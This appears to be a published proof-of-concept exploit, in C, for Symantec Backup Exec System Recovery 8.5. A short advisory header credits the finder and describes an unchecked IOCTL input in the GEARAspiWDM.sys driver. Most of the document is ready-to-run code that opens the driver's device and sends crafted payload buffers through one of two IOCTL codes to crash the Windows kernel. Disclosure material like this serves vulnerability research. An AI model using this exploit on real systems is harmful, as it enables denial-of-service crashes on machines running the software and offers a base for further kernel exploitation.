Symantec Backup Exec System Recovery 8.5 – Kernel Pointers Dereferences
#include <stdio.h> #include <windows.h> #include <winioctl.h> #include <stdlib.h> #include <string.h> /* Program : Symantec Backup Exec System Recovery 8.5 - 0day Homepage : http://www.symantec.com Discovery : 2009/12/23 Author Contacted : 2011/04/01 - No reply Author Contacted : 2011/04/29 - No reply... again ! Patch Updated : Not now Found by : Heurs This Advisory : Heurs Contact : s.leberre@sysdream.com //----- Application description Symantec Backup Exec System Recovery 8.5 is a complete disk-based system recovery solution for Microsoft Windows based servers, desktops, and laptops that allow businesses to recover from system loss or disasters in minutes, not hours or days - even when recovering to a dissimilar hardware platform; to a virtual environment; or to a remote, unattended location. In short, this powerful solution gives an administrator unprecedented power in meeting ambitious recovery time objectives and service-level agreements. //----- Description of vulnerability GEARAspiWDM.sys (the CD / DVD filter) driver don't check all inputs of an IOCTL. An exception can be thrown if we modify one byte. With my test I can't do best exploitation than a BSOD. //----- Credits http://www.sysdream.com http://www.hackinparis.com/ http://ghostsinthestack.org s.leberre at sysdream dot com heurs at ghostsinthestack dot org */ int __cdecl main(int argc, char* argv[]) { HANDLE hDevice = (HANDLE) 0xffffffff; DWORD NombreByte; DWORD Crashing2[] = { 0x98521a4e, 0x35c9b325, 0x329aded9, 0x2b89a43f, 0x9e338a58, 0x54372b5f, 0x1c6164bb, 0x439b3b32, 0x7ffa3ca5, 0x90ee3512, 0xb3be1b06, 0x9363dad1, 0x1f91adea, 0xcc611f7e, 0xdf527cc9, 0xb0856250, 0x4a0d92ff, 0x7b57a9fd, 0xe438ef46, 0x013ac977, 0xb6ce60fc, 0x6042a1f8, 0xe4da87f0, 0x118e4887, 0x47ea6b36, 0xfb83daa8, 0xd50ff81b, 0xfd3c97c9, 0xd743656a, 0x8b7318b7, 0x955d2607, 0x0cb6d64f, 0x3acc85fb, 0xca8f44d3, 0x2859a3de, 0x80fdabb1, 0x63b5fc1d, 0x9b2b73d7, 0x16038535, 0xb8072dca, 0xda4edb5a, 0xe7e89f58, 0xd2b0d395, 0x64b404a4, 0x422f6292, 0xafb88db2, 0xefee2383, 0x2034e944, 0x9c7f782e, 0x40d0b37e, 0x95c621e1, 0xc67d9c45, 0xf4bfc4d8, 0xa6b50be6, 0xaf327fcf, 0x8ea76c13, 0x85bf39d2, 0x3224f445, 0xf13ffd4d, 0x8a0ed02e, 0x11768b7f, 0x05da276b, 0xc264c7de, 0x70038327, 0x9f965ab9, 0x7bd47648, 0xfbe34062, 0x94e5540f, 0xe41cc6c2, 0x5b4a2559, 0x429e5122, 0x83c913e4, 0xca98e661, 0xbd3ad1fe, 0x972a24c2, 0xb77b0b77, 0x48e31285, 0x77dd9743, 0x42374f25, 0xdf841c34, 0x5aa3d162, 0x4f8cf953, 0xbc2ada9d, 0xa4cad244, 0x9080a47f, 0x27af163a, 0xf8e5b0e1, 0x80248421, 0x963b4b99, 0x2ca00d49, 0x81b3ef37, 0xc2466b09, 0x46ccb43a, 0xff10f2f9, 0xac712349, 0x5ad59d96, 0xd978b259, 0xcbcfeca1, 0x98273614, 0x332f6c59, 0xa486d4ee, 0x7fad0d57, 0xf65601c1, 0xeb1e6321, 0x50408419, 0x5190a0e8, 0xb3cc3374, 0xeabd4a3d, 0xd236b852, 0x92cba4db, 0x4e52f33a, 0xa9f488cb, 0x067d88e4, 0xd31d588d, 0x47aa2c28, 0xf0918cb3, 0x46c518af, 0x430a2c52, 0xc49fc7ca, 0x49e7d5f0, 0x6cd26dbc, 0xd83fde69, 0x926c03ba, 0xb4850695, 0x9235d279, 0xaa1ffa33, 0x996f4d09, 0xbfed8fa0, 0x30cff2cc, 0x1f21d5c3, 0x38c3f62b, 0x8291db1e, 0xb536c7e0, 0x3c705ff0, 0x23f180a2, 0xdbb6059e, 0x4dd9351a, 0x231487bc, 0x915fe713, 0x87616e77, 0xdbcb473e, 0x1a830215, 0x8cbba20a, 0x902a03d8, 0xfcf9b1eb, 0xca69f2be, 0x44a96ca3, 0xa7d7aaab, 0x8949408f, 0xc9d0d1e2, 0x2775a41c, 0x71f381ff, 0xba970686, 0x222a18f5, 0xfab74884, 0xb53efcb4, 0xfbb46a7a, 0x1de45c9f, 0xbb5838ad, 0x274cfd1b, 0xa841ffcb, 0x02f17a83, 0x18fe4da2, 0xa4a1b953, 0x788a1f92, 0x8a0c5b81, 0x54b69f16, 0x570abe6b, 0x7e58db8e, 0x1d6d7245, 0x0f6f7b5e, 0x7121c421, 0xefa6a254, 0xb1fd7db2, 0xc9bc5216, 0x2ae57c8d, 0xa9ccba01, 0x1e375901, 0x0fe3e83b, 0x729f90db, 0x4e054937, 0x9861523c, 0x644cc902, 0xf23b2474, 0x599a913f, 0x32ccfcd9, 0x7f3ca050, 0x3de365f6, 0x55ca0856, 0x72113509, 0x188f3b56, 0x4fa1b960, 0x403d751a, 0xfeb043d7, 0x5b451a9d, 0x52cdfdf4, 0x7c84854c, 0xaea8abc2, 0x1f690135, 0x0d98ac73, 0x90d3fb36, 0x92c4c71c, 0xa329ece4, 0xffe6a577, 0x70a4829e, 0x9fd6b0b7, 0x13ec771e, 0xa8724de2, 0xa8d25ffb, 0x84b00cce, 0xa1791d95, 0xe6a5cb04, 0xd0460421, 0x0fa785ea, 0x0521dfea, 0x6b745113, 0xc3512018, 0x3613d26c, 0x5fcebf1f, 0x6dd6a8ed, 0xf29a61ce, 0x66e0c099, 0x2bff4910, 0x6e92dbdd, 0xafce203a, 0xed07a42b, 0x657cd627, 0xcc05e18f, 0x848aa8cd, 0x5db76bf0, 0x66feef0f, 0x36fefa72, 0xac75a2fa, 0x8cd0ec62, 0x2805f29c, 0x3f9af683, 0xedc84ed5, 0xcafa4942, 0x29f94618, 0x80d6f110, 0x924035d0, 0x239cfd83, 0x4251cea1, 0xf54575db, 0x3c9815b4, 0xcb86e9df, 0xe0a46e7b, 0x8feb5e66, 0x17dee85f, 0xcf9d26f4, 0x6afe496e, 0x3e8c1322, 0xe6f99038, 0xd4735c42, 0x760d0bd6, 0xb43c3c60, 0x788de1ce, 0xf52c1d56, 0xa6d31938, 0x275cb624, 0x9ae96c95, 0x194068c6, 0xe5eee0a2, 0x2ee7d840, 0xdd82ba28, 0x3435826a, 0x9a486fc3, 0x2701aa59, 0x6c362b8f, 0x4e5d96a6, 0x1bdc57f7, 0x754c2319, 0x71380617, 0x90542310, 0x65d72160, 0x3f77356e, 0x41e648e9, 0x250870ae, 0x29f398a2, 0x1b980674, 0x8d41476f, 0x9b9ec36a, 0x017d514a, 0x75badffc, 0x0ca9dccf, 0xb1fb1936, 0x6ca3bdd7, 0xc5fd39b8, 0x8d6878ba, 0x1769e6dc, 0xac396388, 0xaaa92090, 0xea758f25, 0x250ece7a, 0x84a575fb, 0x08f09242, 0xe983aa84, 0x06a02443, 0x047accd5, 0x86814c54, 0xae978f01, 0x2a8df4b7, 0x5079e1f7, 0x4599b151, 0x4b06b065, 0x0fa58f90, 0x11e0624c, 0xc3a3f881, 0xf795fe91, 0x9e9542c6, 0x37262888, 0x21dfb940, 0x695be284, 0x28d116e1, 0x7f81a807, 0x308a5e2b, 0x0312f4a5, 0xe77753d6, 0xa834b6dc, 0xc6f0f403, 0xa6a2b904, 0xeb26b1a4, 0x69849a3d, 0x8313560d, 0xe23d7a4b, 0xe96b1262, 0xe94255fb, 0x3901b1e9, 0x351d887b, 0x9e594997, 0xfe8f414c, 0x96f07011, 0xe68fc42c, 0xb38e30a2, 0x1994ef3a, 0x3efbfce9, 0x8b8f3a7f, 0xca93784e, 0x5f3181d7, 0xc84f06eb, 0x8ded82a7, 0x41300e14, 0xb478751b, 0xeeae732c, 0x392889a8, 0xb79591f1, 0xca8bb59d, 0x33d5ac3f, 0xcab7ffb1, 0x1c023d41, 0xf4d85961, 0xec42794f, 0xd3e126b0, 0x572fe83b, 0x7b3ea605, 0x4bfa2f3b, 0x595b381d, 0x0f1f55dd, 0xf07401fd, 0x322c17b4, 0x7ac23729, 0x9e747fa4, 0x648391dc, 0x684f5e6f, 0x6f672b78, 0xe57a7f45, 0x5fea1b7a, 0x562401c8, 0xa640bafe, 0x22a1ea24, 0x90a358c5, 0x2fa7712f, 0x75505628, 0xab0d1b9b, 0x7f40ccba, 0x74034eaf, 0xc7be1659, 0x35a10242, 0xcd61afed, 0x6a4f3f61, 0x6793d2e8, 0xb447eded, 0x81b09579, 0x8c57ec03, 0x7f89ca0d, 0xb75faf20, 0x6977fa05, 0x9d272f79, 0xaa90665a, 0x91fcc55b, 0xfa06b20e, 0xfcb48f7a, 0xce1760ed, 0x58dc9e13, 0x99152bc4, 0x9021e937, 0xfbc15bc5, 0xc49ab6cf, 0xfe322467, 0x1cda3004, 0x01badd03, 0x28308712, 0x05708f56, 0x612f4410, 0x3345bdfd, 0x0b3a8804, 0x36b0b314, 0xaf8b63a5, 0x90ca55ab, 0x1f946e9e, 0xecb27651, 0x7e5c8406, 0xd3f8fc3b, 0x1e30cf60, 0x3ac797fa, 0x48d3a898, 0xf4a6080d, 0x680e7e2e, 0x745388ff, 0x8027ded5, 0x461989ac, 0x5426a0a9, 0xa1ecc4a8, 0x3862c461, 0xda87b1ce, 0x9dbc1647, 0x225898f0, 0xf72d47fe, 0x0af3377d, 0xc5c569e7, 0xb8d8fb7a, 0x0c46c695, 0x508d9e3f, 0xc4a96a93, 0xef7450d3, 0x14860105, 0x9e5518bc, 0x56a024ee, 0xc1d14889, 0x9e9029ae, 0x06700d49, 0x5b4655a3, 0xe7c7e1be, 0x596c98b5, 0xf91d9006, 0x5daf3db2, 0xdbd3dea9, 0x2f1471d9, 0x5d26bd87, 0x7758e268, 0x6d6f3ab4, 0x45c55824, 0x60e4cf0e, 0x54c2b90d, 0x0317c728, 0xca7681b6, 0xb2813304, 0x14fb642e, 0x6297a465, 0x51f7b685, 0x24192969, 0x44b44d6f, 0x66cfe7ae, 0x8ff6a5a9, 0x772a7a50, 0x11d0163e, 0x598113c9, 0x3a03fef9, 0xff9c1a9b, 0xdbd7c110, 0x09b9282e, 0xb19a1723, 0x61d551ad, 0x4edd912c, 0x73cbe308, 0x2d507924, 0x8b6adc6a, 0x7249e4c5, 0xd46b6c78, 0x1a79ed3d, 0x35fc9732, 0x4f3c7746, 0x34537beb, 0xc7a4e647, 0xe524af91, 0x208894fa, 0xae2dc193, 0x7db25b89, 0x8cd21de4, 0x5cdaa83a, 0xf973bed3, 0x6ca77231, 0x6b6d299a, 0xa017dcfd, 0x53ea60d1, 0xe31720ba, 0xf406d12f, 0x8167076d, 0xb62a7ba8, 0x83a54a0d, 0x838c6ffc, 0xcd7b5253, 0x4b49b33b, 0x8ece311d, 0x5001914b, 0x1fcc872f, 0x36192027, 0x26889789, 0xb26a39d4, 0x69ce1d9e, 0x41d01758, 0x9ea92324, 0xd56131f3 }; DWORD Crashing1[] = { 0x34e4fa15, 0xd60f859b, 0x45470f01, 0x73415241, 0x66206970, 0x4e20726f, 0x45470054, 0x6f505241, 0x50207472, 0x6e00506e, 0xacea16d8, 0xef58b300, 0x36609f08, 0xf826b866, 0x06257426 }; BYTE Out[0x04]; BYTE Response[32]; printf("Kernel Pointers Dereferences - Symantec Backup Exec System Recovery 8.5 (0day)\n\n"); hDevice = CreateFile("\\\\.\\GEARAspiWDMDevice",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); //printf("%x\n",hDevice); printf("Crashs possibles : \n1 : DeviceIoControl 0x00222008\n2 : DeviceIoControl 0x00222010"); printf("\nSelect the crash : "); scanf("%c", &Response); if (Response[0] == 0x32) { if (DeviceIoControl(hDevice,0x00222010,Crashing2,sizeof(Crashing2),Crashing2,sizeof(Crashing2),&NombreByte,NULL) == 0) { printf("Error : DeviceIoControl : %d\n", GetLastError()); } } if (Response[0] == 0x31) { if (DeviceIoControl(hDevice,0x00222008,Crashing1,sizeof(Crashing1),Crashing1,sizeof(Crashing1),&NombreByte,NULL) == 0) { printf("Error : DeviceIoControl : %d\n", GetLastError()); } } printf("Finished.\n\n"); CloseHandle(hDevice); getch(); return 0; } |